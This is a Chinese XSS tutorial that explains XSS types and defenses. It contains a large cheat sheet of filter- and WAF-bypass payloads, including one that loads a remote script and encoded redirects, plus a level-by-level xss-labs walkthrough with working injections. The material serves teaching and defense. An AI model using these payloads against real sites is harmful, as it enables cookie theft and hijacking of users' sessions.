正文共: 15387字 40图
预计阅读时间: 39分钟
跨站脚本(Cross-site scripting,简称为:CSS, 但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,跨站脚本攻击缩写为XSS)是一种网站应用程序的安全漏洞攻击。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
最常见的几种分类:反射型(非持久型)XSS、存储型(持久型)XSS、DOM型XSS、通用型XSS、突变型XSS。
反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。
举例来说,当一个网站的代码中包含类似下面的语句:
<?php echo "<p>hello,$_GET['user']</p>"; ?>
如果未做防范XSS,用户名设为<script>alert("Tz")</script>,则会执行预设好的JavaScript代码。
当用户的输入或者一些用户可控参数未经处理地输出到页面上,就容易产生XSS漏洞。主要场景有以下几种:
将不可信数据插入到HTML标签之间时;// 例如div, p, td;
将不可信数据插入到HTML属性里时;// 例如:<div width=$INPUT></div>
将不可信数据插入到SCRIPT里时;// 例如:<script>var message = ” $INPUT “;</script>
还有插入到Style属性里的情况,同样具有一定的危害性;// 例如<span style=” property : $INPUT ”></span>
将不可信数据插入到HTML URL里时,// 例如:<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>
使用富文本时,没有使用XSS规则引擎进行编码过滤。
反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。
存储型(或 HTML 注入型/持久型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码(反射型XSS通常只在url中)到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的页,执行是自动的。
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
DOM型XSS是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问DOM。当确认客户端代码中有DOM型XSS漏洞时,诱使(钓鱼)一名用户访问自己构造的URL,利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
用户可通过 JavaScript (以及其他编程语言)对 HTML DOM 进行访问。所有 HTML 元素被定义为对象,而编程接口则是对象方法和对象属性
方法 | 描述 |
getElementById() | 返回带有ID的元素 |
getElementsByTagName() | 返回包含带有指定标签名称的所有元素的节点列表 |
getElementsByClassName() | 返回包含带有指定类名的所有元素的节点列表 |
appendChild() | 把新的子节点添加到指定节点 |
removeChild() | 删除子节点 |
replaceChild() | 替换子节点 |
insertBefore() | 在指定子节点前面插入新的子节点 |
createAttribute() | 创建属性节点 |
createElement() | 创建元素节点 |
createTextNode() | 创建文本节点 |
getAttribute() | 返回指定的属性值 |
setAttribute() | 把指定属性设置或修改为指定的值 |
输入一般在哪里
JS通常会通过调用DOM内置对象location来获得用户输入,如引用参数切分可使用location.search,引用完整URL可使用location.href等。
通用型XSS,也叫做UXSS或者Universal XSS,全称Universal Cross-Site Scripting。
上面三种XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是访问页面存在漏洞,但是UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。
Web浏览器是正在使用的最流行的应用程序之一,当一个新漏洞被发现的时候,不管自己利用还是说报告给官方,而这个过程中都有一段不小的时间,这一过程中漏洞都可能被利用于UXSS。
不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。因为UXSS攻击不需要网站页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一。
这是一个比较经典的例子。当使用扩展程序时导致错误,使得代码可以执行。这是一个在pdf阅读器中的bug,允许攻击者在客户端执行脚本。构造恶意页面,写入恶意脚本,并利用扩展程序打开pdf时运行代码。tefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS,Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充,如果没有正确的执行,将允许跨站脚本攻击。
案例详见: Acrobat插件中的UXSS报告
https://link.juejin.cn/?target=https%3A%2F%2Fblog.jeremiahgrossman.com%2F2007%2F01%2Fwhat-you-need-to-know-about-uxss-in.html
一个在2011年Flash Player插件(当时的所有版本)中的缺陷使得攻击者通过使用构造的.swf文件,可以访问Gmail设置和添加转发地址。因此攻击者可以收到任意一个被攻破的Gmail帐号的所有邮件副本(发送的时候都会抄送份)。Adobe承认了该漏洞.
案例详见: Flash Player UXSS 漏洞 – CVE-2011-2107报告
https://link.juejin.cn/?target=http%3A%2F%2Fwww.adobe.com%2Fsupport%2Fsecurity%2Fbulletins%2Fapsb11-13.html
移动设备也不例外,而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞,允许攻击者将恶意代码注入到Chrome通过Intent对象加载的任意的web页面。
案例详见: Issue 144813: Security: UXSS via com.android.browser.application_id Intent extra
https://link.juejin.cn/?target=https%3A%2F%2Fcode.google.com%2Fp%2Fchromium%2Fissues%2Fdetail%3Fid%3D144813
突变型XSS,也叫做mXSS或,全称Mutation-based Cross-Site-Scripting。(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation)
然而,如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化会使得这个认定不再成立:浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。
随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化,而最终导致XSS的攻击流程。
将拼接的内容置于innerHTML这种操作,在现在的WEB应用代码中十分常见,常见的WEB应用中很多都使用了innerHTML属性,这将会导致潜在的mXSS攻击。从浏览器角度来讲,mXSS对三大主流浏览器(IE,CHROME,FIREFOX)均有影响。
目前为止已知的mXSS种类,接下来的部分将分别对这几类进行讨论与说明。
反引号打破属性边界导致的 mXSS;(该类型是最早被发现并利用的一类mXSS,于2007年被提出,随后被有效的修复)
未知元素中的xmlns属性所导致的mXSS;(一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。)
CSS中反斜线转义导致的mXSS;(在CSS中,允许用\来对字符进行转义,例如:property: 'v\61 lue' 表示 property:'value',其中61是字母a的ascii码(16进制)。\后也可以接unicode,例如:\20AC 表示 € 。正常情况下,这种转义不会有问题。但是碰上innerHTML后,一些奇妙的事情就会发生。)
CSS中双引号实体或转义导致的mXSS;(接着上一部分,依然是CSS中所存在的问题," " " 等双引号的表示形式均可导致这类问题,)
CSS属性名中的转义所导致的mXSS;
非HTML文档中的实体突变;
HTML文档中的非HTML上下文的实体突变;
普通的XSS JavaScript注入,示例如下:
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
IMG标签XSS使用JavaScript命令,示例如下:
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
<img src=1 onmouseover=alert('xss')>
<imgsrc="1"onerror=eval("alert('xss')")>
IMG标签无分号无引号:
<img src=javascript:alert('xss')>
HTML 编码(必须有分号) 示例如下:
<img src=javascript:alert("xss")>
修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
formCharCode标签
<img src=javascript:alert(String.fromCharCode(88,83,83))
String.fromCharCode()函数
语法
String.fromCharCode(num1[, ...[, numN]])
参数
num1, ..., numN
一系列 UTF-16 代码单元的数字。范围介于 0 到 65535(0xFFFF)之间。大于 0xFFFF 的数字将被截断。不进行有效性检查。
返回值
一个长度为 N 的字符串,由 N 个指定的 UTF-16 代码单元组成。
该方法返回一个字符串,而不是一个 String 对象。
示例:
在 UTF-16 中,BMP 字符使用一个代码单元:
String.fromCharCode(65, 66, 67); // 返回 "ABC"
String.fromCharCode(0x2014); // 返回 "—"
String.fromCharCode(0x12014); // 也是返回 "—"; 数字 1 被剔除并忽略
String.fromCharCode(8212); // 也是返回 "—"; 8212 是 0x2014 的十进制表示
嵌入式标签,将JavaScript分开
<img src=\'#\'" ascript:alert(‘XSS’);”>
input 标签
<input onfocus="alert('xss');">
details标签
<details ontoggle="alert('xss')";>
svg标签
<svg onload=alert("xss");>
select标签
<select onfocus=alert(1)></select>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>
iframe标签
<iframe onload=alert("xss");></iframe>
video标签
<video><source onerror="alert(1)">
audio标签
<audio src=x onerror=alert("xss");>
body标签
<body/onload=alert("xss");>
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<bodyonscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
textarea标签
<textarea onfocus=alert("xss"); autofocus>
keygen标签
<keygen autofocus onfocus=alert(1)> //仅限火狐
marquee标签
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
isindex标签
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE
利用link远程包含js文件
PS:在无CSP的情况下才可以
<link rel=import href="http://127.0.0.1/1.js">
javascript伪协议
<a>标签
<a href="javascript:alert(`xss`);">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<form>标签
<form action="Javascript:alert(1)"><input type=submit>
其他
expression属性
<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
backgroud属性
<table backgroud=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
用 / 代替空格
<img/src="x"/onerror=alert("xss");>
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接
利用eval
<img src="x" onerror="a=`aler `;b=`t`;c='(`xss`);';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](`xss`);</script>
有的waf可能是用正则表达式去检测是否有xss攻击,如果能fuzz出正则的规则,则我们就可以使用其他字符去混淆我们注入的代码了
下面举几个简单的例子
可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
Unicode编码绕过
<img src='a' onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
escape编码绕过
<img src="a" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
URL编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
ASCII码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制绕过
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤双引号,单引号
1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
2.使用编码绕过,具体看上面我列举的例子,不多赘述了
""“双引号
&&&&符号
<<<小于号
>>>大于号
使用"或者"来代替我们的双引号,有时候可以绕过过滤
例如:
<script>alert("XSS")</script>
<script>alert("XSS")</script>
<script>alert(&XSS&)</script>
过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
过滤url地址
使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
附:IP地址计算器 http://ip.chacuo.net/ipcalc?_t=b1561938109
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.十六进制IP
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议
使用中文逗号代替英文逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
闭合绕过
有时候需要查看页面源码,闭合前后标签进行绕过,例如:
'><SCRIPT>alert("XSS")</SCRIPT>
现在我们的代码执行了。因为我们闭合了前面的 html 标签,就触发了 XSS,但是,你可能会发现,页面上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代码。
'><SCRIPT>alert("XSS")</SCRIPT><xss a='
所有的输入就会变成这样:
<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>
Javascript 代码就注入了。<xss a=”>这个没什么意义,你可以自己改,但是符合 html 的标准,页面不会出错。
HTML实体编码绕过
10进制实体编码:
<img src=1 onerror="alert("xss");">
16进制实体编码:
<img src=1 onerror="alert("xss");">
靶场下载地址
https://github.com/do0dl3/xss-labs
直接输入
<script>alert(1)</script>
直接输入<script>alert(1)</script>进行尝试
发现不行。
查看源码找到输入框的位置,输入的代码被双引号和input标签包裹,导致代码无法被执行
此时可以考虑闭合标签,payload如下所示:
"><script>alert(1)</script><"
输入
"><script>alert(1)</script><"
闭合标签,发现没有弹框
查看网页源码,发现特殊符号 < > “ 等被实体化编码
这里构造事件来触发xss:' onclick='alert(1),这里我们通过右键查看原始的页面源代码也才能看出来是'单引号才能闭合成功:
输入<script>alert(1)</script>没有弹框,查看源码,发现<>还是被实体化编码了
同第三关构造点击事件,执行弹窗函数。
" onclick="alert(1)
此时完整页面代码为:
<input name="keyword" value="" onclick="alert(1)">
检测同上,先输入<script>alert(1)</script>,查看源码,发现<>被实体化编码,然后闭合利用onclick点击事件,发现 " ' 也被实体化编码, 同时onclick 也变成了 o_nclick
使用伪协议绕过
"><a href='javascript:alert(1)'>
使用第五关payload发现不行,查看源码发现href标签被过滤替换
尝试使用其他标签发现 src on 等都会被替换,
最终使用大小写绕过。
" Onclick=alert(1) "
构造"><a href='javascript:alert(1)'>,根据返回的html,发现过滤了href和script。尝试大小写不能进行绕过。
构造双写绕过
"><a hhrefref='javasscriptcript:alert(1)'>
这里可以看到有个友情链接,那么本身就有a标签href属性了、
直接写javascript伪协议:javascript:alert(1),右键查看原始的页面源代码和F12其实都能看出来变成了javascr_ipt:alert(1),那么应该是javascript关键字被替换了。那么这里尝试大小写,双写,是都无法进行绕过的。
那我们只有尝试编码绕过了,用实体编码可绕过:
十进制实体编码:javascript:alert(1)
十六进制实体编码:javascript:alert(1)
都是将t字符进行实体编码,当然对其他字符进行编码也可以,目的在于绕过服务端的匹配。客户端解析时又会将其转码为t,从而弹窗
javascript伪协议实体编码 + 注释符//绕过
这里发现还是有友情链接,那么用less8的payload,href里直接显示链接不合法,测试发现输入中必须包含http://
那么我们用注释符//绕过即可。构造payload,这边有两种方法:
十进制实体编码:javascript:alert(1)//http://127.0.0.1
十六进制实体编码:javascript:alert(1)//http://127.0.0.1
也可以直接这样:
十进制实体编码:javascript:alert('http://127.0.0.1')
十六进制实体编码:javascript:alert('http://127.0.0.1')
隐藏表单用GET方式自己创建text文本框配合事件绕过
打开页面无输入地方
查看页面源码,可以看到有隐藏的参数
尝试提交t_link、t_history、t_sort参数:?keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>&t_history=<script>alert(1)</script>&t_sort=<script>alert(1)</script>,最后发现只有t_sort参数接收了并返回在了html的value中:
输入参数:
&t_sort="><script>alert(1)</script><"
源码显示为:
<input name="t_sort" value=""scriptalert(1)/script"" type="hidden">
<>被过滤,可构造双引号闭合,文本框点击事件触发
?t_sort="type="text" onclick="alert(1)">< //因为页面中没有触发事件框,所以type="text"构造一个文本框
隐藏表单用Referer字段自己创建text文本框配合事件绕过
和第十关相似,
,也是隐藏表单,只不过这里是有两个参数可以接收并返回在了html的value中,分别是t_sort参数和t_ref参数,但是t_sort参数输入第十关的payload:
?t_sort="type="text" onclick="alert(1)">< 时,右键查看原始的页面源代码发现"双引号和尖括号都给实体编码了:
这里应该是用了htmlspecialchars函数把预定义的字符转换为 HTML 实体,没什么希望了。那么来看看t_ref参数:
t_ref参数接收了并返回在了html的value中,而且不是像t_sort参数那样以get方式来获取值,而是获取http头里的Referer字段。
那么这里就要用到burpsuite来抓包了:
payload:
Referer:"type="text" onclick="alert(1)"><
隐藏表单用User-Agent字段自己创建text文本框配合事件绕过
和less11相似,也是隐藏表单,这里也是有两个参数可以接收并返回在了html的value中,分别是t_sort参数和t_ua参数。关于t_sort参数的分析和less11的一样,具体可看less11。
那么这里来看看t_ua参数:
t_ua参数接收了并返回在了html的value中,而且不是像t_sort参数那样以get方式来获取值,而是获取http头里的User-Agent字段。
那么这里就要用到burpsuite来抓包了:
User-Agent:"type="text" onclick="alert(1)"><
然后页面会生成一个框,点它,成功
隐藏表单用Cookie字段自己创建text文本框配合事件绕过
这一关和less11相似,也是隐藏表单,这里也是有两个参数可以接收并返回在了html的value中,分别是t_sort参数和t_cook参数。关于t_sort参数的分析和less11的一样,具体可看less11。
那么这里来看看t_cook参数:
t_cook参数接收了并返回在了html的value中,而且不是像t_sort参数那样以get方式来获取值,而是获取http头里的Cookie字段中user的cookie值。
这里先来简单介绍下cookie的机制:
当用户第一次访问并登陆一个网站的时候,cookie的设置以及发送会经历以下4个步骤:
客户端发送一个请求到服务器--> 服务器发送一个HttpResponse响应到客户端,其中包含Set-Cookie的头部--> 客户端保存cookie,之后向服务器发送请求时,HttpRequest请求中会包含一个Cookie的头部-->服务器返回响应数据
那么这里就要用到burpsuite来抓包了:
这里我们首先把Proxy里抓到的请求包发送到Intruder里,这时候可以看到请求包这里还没有cookie。然后服务器发送一个HttpResponse响应到客户端,其中包含Set-Cookie的头部
然后这时候再把Proxy里的包都放(Forward)了,然后再用burp重新拦截,再刷新下网站,这时候我们的请求包里才有了Cookie字段:Cookie: user=call+me+maybe%3F。然后改成下面的payload:
payload:Cookie:user="type="text" onclick="alert(1)"><
放包后,然后页面会生成一个框,点它,成功
用回车符CR(%0d) 和换行符LF(%0a)取代空格绕过
经过测试,发现对script、/、空格进行了转换,需要进行绕过:
这里用回车符CR(%0d) 和换行符LF(%0a)取代空格(在HTML中%0a和%0d是可以当成空格使用的)
payload:
?keyword=<img%0asrc=1%0donerror=alert(1)>
或
<img%0asrc=1%0donmouseover=alert(1)>
页面会有个发生了错误的图片,把鼠标移到上面,便成功
里arg01和arg02提交的参数就存在了注入点:?arg01=q&arg02=a。经过尝试还把尖括号和双引号给html实体编码了
构造payload:
?arg01=a&arg02= onmouseover=alert(1)
或者
?arg01= onmouseover=alert(1)&arg02=b
然后把鼠标移到swf文件上面,便成功了。
只能说是和less17一模一样了,除了图片不同。直接用less17的payload直接通关。
XSS 攻击有两大要素:
1. 攻击者提交恶意代码。
2. 浏览器执行恶意代码
DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等。
DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等, 标签的href属性,JavaScript 的eval()、setTimeout()、setInterval()等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易 产生安全隐患,请务必避免。
如果由前端过滤输入,然后提交到后端的话。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢? 我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 $lt; 7。 问题是:在提交阶段,我们并不确定内容要输出到哪里。
这里的“并不确定内容要输出到哪里”有两层含义:
用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 $lt;7 )。
在前端中,不同的位置所需的编码也不同。 当 5 $lt;7 作为 HTML 拼接页面时,可以正常显示:5 < 7
所以输入过滤非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS,可采用下面的两种方法
在前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式 (.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。
Javascript:可以使用textContent或者innerText的地方,尽量不使用innerHTML;
query:可以使用text()得地方,尽量不使用html();
如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确 实能起到一定的 XSS 防护作用,但并不完善:
这里推荐一个前端防止XSS攻击的插件: js-xss的使用和源码解读,Git 3.8K 的Star和60W的周下载量证明了其强大性.
PDF文件是一种常见的电子文档格式,其中包含了丰富的内容,包括图像、文本、链接等等。攻击者可以通过在PDF文件中插入恶意代码,例如JavaScript脚本,来实现PDF XSS攻击。
在“页面属性”对话框单击“动作”标签,再从“选择动作”下拉菜单中选择“运行 JavaScript”命令,然后单击【添加】按钮,弹出 JavaScript 编辑器对话框,填写 JavaScript 代码。
关闭软件,直接打开刚才保存的 PDF 文件,JavaScript 代码即被执行。
网上有一堆构造pdf-xss的资料,但都很麻烦。如果不是要构造特殊的xss代码,而是简单的弹出告警框,可以直接下载网上线程pdf xss文件。
github上的一个下载链接:https://github.com/ynsmroztas/pdfsvgxsspayload